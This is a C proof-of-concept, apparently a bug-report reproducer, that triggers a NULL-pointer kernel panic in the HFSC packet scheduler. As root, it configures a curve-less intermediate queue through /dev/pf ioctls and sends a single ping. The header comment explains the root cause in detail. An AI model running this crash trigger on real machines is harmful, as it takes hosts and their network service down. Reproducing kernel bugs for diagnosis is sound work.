/*
 * DF-3385 -- HFSC init_vf() NULL-pointer dereference panic
 *
 * Mechanism (root-only config path via /dev/pf ioctls, then any traffic):
 *
 *   hfsc_class_create() (sys/net/altq/altq_hfsc.c:481-485) only allocates
 *   cl_fsc when the user-supplied link-sharing curve is non-zero
 *   (lssc_m1==0 && lssc_m2==0 -> cl_fsc == NULL).  Nothing stops such a
 *   curve-less class from becoming an INTERMEDIATE class (hfsc_add_queue_locked
 *   only requires the parent_qid to resolve, altq_hfsc.c:214-217).
 *
 *   When the first packet is enqueued into any descendant leaf, the activation
 *   walk init_vf() (altq_hfsc.c:992-1079) visits every ancestor whose
 *   cl_nactive goes 0->1 and, at line 1040, calls
 *
 *       rtsc_min(&cl->cl_virtual, cl->cl_fsc, vt, cl->cl_total);
 *
 *   with cl_fsc == NULL for the curve-less ancestor -> rtsc_min dereferences
 *   isc->sm1 (altq_hfsc.c:1578) -> read of virtual address 0 -> Fatal trap 12.
 *
 *   Proof this is an oversight and not a design invariant: the passive-side
 *   walk update_vf() has the exact guard (altq_hfsc.c:1092)
 *
 *       if (cl->cl_fsc == NULL || cl->cl_nactive == 0) continue;
 *
 *   and init_vf() itself NULL-checks cl_usc a few lines below (line 1055).
 *   cl_fsc at line 1040 is the only unguarded dereference.
 *
 * Transaction model on /dev/pf (root required):
 *   DIOCSTART                        (start pf)
 *   DIOCXBEGIN  rs_num=PF_RULESET_ALTQ
 *   DIOCADDALTQ discipline (hfsc on vtnet0)
 *   DIOCADDALTQ "q_root"  lssc_m2=1Gbps        (root class)
 *   DIOCADDALTQ "q_mid"   all curves ZERO      (curve-less intermediate)
 *   DIOCADDALTQ "q_leaf"  lssc_m2=10Mbps + HFCF_DEFAULTCLASS (leaf under q_mid)
 *   DIOCXCOMMIT                      (attach hfsc to vtnet0)
 *   DIOCSTARTALTQ                    (enable altq on the ifqueue)
 *   ping -c1 10.0.2.2                (any packet -> hfsc_enqueue -> init_vf)
 *
 * Expected: Fatal trap 12: page fault, virtual address 0x0, in
 *           rtsc_min/init_vf <- set_active <- hfsc_enqueue.
 */

#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#include <net/if.h>
#include <net/pf/pfvar.h>
#include <net/altq/altq.h>
#include <net/altq/altq_hfsc.h>

#define IFNAME  "vtnet0"
#define GW      "10.0.2.2"

static int
begin_altq_txn(int fd, u_int32_t *ticket)
{
	struct pfioc_trans_e te;
	struct pfioc_trans tr;

	memset(&te, 0, sizeof(te));
	te.rs_num = PF_RULESET_ALTQ;
	memset(&tr, 0, sizeof(tr));
	tr.size = 1;
	tr.esize = sizeof(te);
	tr.array = &te;

	if (ioctl(fd, DIOCXBEGIN, &tr) < 0)
		return (-1);
	*ticket = te.ticket;
	return (0);
}

static int
commit_altq_txn(int fd, u_int32_t ticket)
{
	struct pfioc_trans_e te;
	struct pfioc_trans tr;

	memset(&te, 0, sizeof(te));
	te.rs_num = PF_RULESET_ALTQ;
	te.ticket = ticket;
	memset(&tr, 0, sizeof(tr));
	tr.size = 1;
	tr.esize = sizeof(te);
	tr.array = &te;

	return (ioctl(fd, DIOCXCOMMIT, &tr));
}

static int
add_altq(int fd, u_int32_t ticket, struct pf_altq *a)
{
	struct pfioc_altq pa;

	memset(&pa, 0, sizeof(pa));
	pa.ticket = ticket;
	pa.altq = *a;
	if (ioctl(fd, DIOCADDALTQ, &pa) < 0)
		return (-1);
	*a = pa.altq;		/* kernel returns assigned qid */
	return (0);
}

static void
mkbase(struct pf_altq *a, const char *qname, u_int32_t parent_qid)
{
	memset(a, 0, sizeof(*a));
	a->scheduler = ALTQT_HFSC;
	a->ifbandwidth = 1000000000;		/* 1 Gbps */
	a->bandwidth = 1000000000;
	a->qlimit = 30;
	a->priority = 0;
	a->parent_qid = parent_qid;
	strlcpy(a->ifname, IFNAME, sizeof(a->ifname));
	if (qname != NULL)
		strlcpy(a->qname, qname, sizeof(a->qname));
}

int
main(void)
{
	int fd;
	u_int32_t ticket;
	struct pf_altq root, mid, leaf;

	fd = open("/dev/pf", O_RDWR);
	if (fd < 0) {
		perror("open /dev/pf (need root + pf.ko)");
		return (2);
	}

	if (ioctl(fd, DIOCSTART) < 0 && errno != EEXIST)
		fprintf(stderr, "DIOCSTART: %s (continuing)\n", strerror(errno));

	if (begin_altq_txn(fd, &ticket) < 0) {
		fprintf(stderr, "DIOCXBEGIN(ALTQ): %s\n", strerror(errno));
		return (1);
	}
	printf("altq ticket=%u\n", ticket);

	/* (1) HFSC discipline on vtnet0. */
	mkbase(&root, NULL, 0);
	if (add_altq(fd, ticket, &root) < 0) {
		fprintf(stderr, "DIOCADDALTQ(hfsc discipline): %s\n",
		    strerror(errno));
		return (1);
	}
	printf("hfsc discipline added\n");

	/* (2) Root class WITH a link-sharing curve. */
	mkbase(&root, "q_root", 0);
	root.pq_u.hfsc_opts.lssc_m2 = 1000000000;	/* 1 Gbps */
	if (add_altq(fd, ticket, &root) < 0) {
		fprintf(stderr, "DIOCADDALTQ(q_root): %s\n", strerror(errno));
		return (1);
	}
	printf("root class qid=%u (lssc m2=1Gbps)\n", root.qid);

	/* (3) Intermediate class with NO curves at all -> cl_fsc == NULL. */
	mkbase(&mid, "q_mid", root.qid);
	/* hfsc_opts stays all-zero: no rtsc, no lssc, no ulsc. */
	if (add_altq(fd, ticket, &mid) < 0) {
		fprintf(stderr, "DIOCADDALTQ(q_mid): %s\n", strerror(errno));
		return (1);
	}
	printf("curve-less intermediate class qid=%u (all hfsc_opts zero)\n",
	    mid.qid);

	/* (4) Leaf under q_mid with a link-sharing curve; make it the default
	 *     class so unclassified traffic (plain ping) lands in it. */
	mkbase(&leaf, "q_leaf", mid.qid);
	leaf.pq_u.hfsc_opts.lssc_m2 = 10000000;		/* 10 Mbps */
	leaf.pq_u.hfsc_opts.flags = HFCF_DEFAULTCLASS;
	if (add_altq(fd, ticket, &leaf) < 0) {
		fprintf(stderr, "DIOCADDALTQ(q_leaf): %s\n", strerror(errno));
		return (1);
	}
	printf("leaf class qid=%u (lssc m2=10Mbps, default class)\n", leaf.qid);

	if (commit_altq_txn(fd, ticket) < 0) {
		fprintf(stderr, "DIOCXCOMMIT: %s\n", strerror(errno));
		return (1);
	}
	printf("committed; hfsc attached to %s\n", IFNAME);

	if (ioctl(fd, DIOCSTARTALTQ) < 0) {
		fprintf(stderr, "DIOCSTARTALTQ: %s\n", strerror(errno));
		return (1);
	}
	printf("altq enabled on %s\n", IFNAME);

	printf("\n*** SENDING ONE PACKET -- EXPECT FATAL TRAP 12 (NULL deref) "
	    "IN init_vf/rtsc_min ***\n");
	fflush(stdout);

	/* Any packet into vtnet0's ifqueue: hfsc_enqueue -> set_active ->
	 * init_vf -> rtsc_min(&cl->cl_virtual, NULL, ...) -> page fault. */
	if (system("ping -c 1 -t 2 " GW) != 0)
		printf("ping returned nonzero (interface may be wedged)\n");

	/*
	 * If we get here the kernel survived the packet.
	 * Roll the altq config back (empty transaction) so the interface
	 * is detached from hfsc and the network recovers.
	 */
	sleep(1);
	if (begin_altq_txn(fd, &ticket) == 0) {
		if (commit_altq_txn(fd, ticket) == 0)
			printf("altq rolled back; %s detached from hfsc\n",
			    IFNAME);
	}
	printf("NO PANIC: bug did not reproduce\n");
	return (0);
}
